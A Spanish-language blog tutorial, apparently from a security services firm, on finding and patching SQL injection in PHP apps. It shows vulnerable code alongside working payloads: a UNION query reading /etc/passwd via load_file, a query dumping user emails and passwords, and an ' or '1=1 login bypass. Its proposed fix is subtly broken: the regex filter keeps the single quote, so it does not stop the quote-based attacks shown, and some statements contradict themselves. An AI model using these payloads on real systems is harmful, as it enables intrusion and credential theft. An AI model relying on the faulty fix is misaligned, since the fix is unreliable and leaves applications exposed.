F F F

Identificando SQL Injection

Bien, lo que les voy a enseñar son algunas de las formas para  dentificar vulnerabilidades “sql injection” en nuestra aplicación y al finalizar veremos como parchearlas.

- Tips :  Si el usuario tiene “file privileges” usted puede buscar un directory “escribible (witeable)” y magic_quotes_gpc= off usted podra uplodear codigo dentro de los archivos o directorios.

- Ejemplo Básico:

- Pedazo de código de test.php

———————————————————————————-
<?php
$id = $_GET['id'];
$result = mysql_query( “SELECT name FROM members WHERE id = ‘$id’”);
?>
———————————————————————————-

La variable “id” no está filtrada. Nosotros podemos inyectar nuestro codigo en la variable “id”.
Ejemplo :

http://127.0.0.1/test.php?id=1+union+all+select+1,null,load_file(‘etc/passwd’),4–

Y obtendremos “etc/passwd” si magic_quotes = off (activado ) y si el usuario tiene
“file privileges”.

- Ejemplo Simple

- Pedazo de código de casas/listing_view.php

—————————————————————————————————————————–
$id = $_GET['itemnr'];
require_once($home.”mysqlinfo.php”);
$query = “SELECT titulo, tipo, precio, dormitorios, distancia, direccion, telefono, comentarios, imagenes from Rentas where id=$id”;
$result = mysql_query($query);
if(mysql_num_rows($result)){
$r = mysql_fetch_array($result);
—————————————————————————————————————————–

Vemos que el valor de la variable “id”  es el valor seteado de “itemnr” y no está filtrado.
Entonces podemos inyectar codigo.

Hagamos una petición:

http://127.0.0.1/casas/listing_view.php?itemnr=null+union+all+select+1,2,3,concat(email,0x3a,password),5,6,7,8,9,10+from+users–

Y obtendremos email y passwords de la tabla “users”.

-SQL Injection Login Bypass

- Pedazo de código de /admin/login.php

——————————————————————————————————————————
$postbruger = $_POST['username'];
$postpass = md5($_POST['password']);
$resultat = mysql_query(“SELECT * FROM ” . $tablestart . “login WHERE brugernavn = ‘$postbruger’ AND password = ‘$postpass’”)
or die(“<p>” . mysql_error() . “</p>\n”);
——————————————————————————————————————————

La variable no está correctamente chequeada. Podemos bypassear el logueo. Inyectaremos el siguiente username y password:

username : admin ‘ or ‘ 1=1
password : andres

Estamos adentro. Como? Mira el siguiente código.

———————————————————————————————————————————
$resultat = mysql_query(“SELECT * FROM ” . $tablestart . “login WHERE brugernavn = ‘admin’ ‘ or ‘ 1=1  AND password = ‘andres”)
———————————————————————————————————————————

Login bypasseado. El usuario debe ser un usuario existente.

- Solución:

Forma simple, sensilla : No permitir caracteres especiales en las variables. Para variables numericas usa (int) ,ejemplo $id=(int)$_GET['id'];
Otra forma: Para variables no numericas filtra todos los caracteres especiales usados para
SQLI : – , . ( ) ‘ ” _ + / *
Forma rápida y eficáz:
$_GET = preg_replace(“|([^\w\s\'])|i”,”,$_GET);
$_POST = preg_replace(“|([^\w\s\'])|i”,”,$_POST);

Ingréselas en las dos primeras líneas del archivo.php

Andrés Gómez

Comments are closed.

Sobre el Blog

Fue creado para compartir conocimientos, técnicas y trucos para los webmasters y empresas que contratan nuestros servicios.

Clientes

Gobiernos, ministerios, bancas, aseguradoras, entidades financieras, estudios jurídicos, estudios contables, instituciones, hospitales, etc.

Servicios

Pentesting, auditorías de seguridad, auditorías de redes, adminitración de servidores, hosting, dominios, diseño web, desarrollo de software y más...

Socios De Negocios

- Security-Pentest
- Atenea Capacitaciones
- YouJoomla!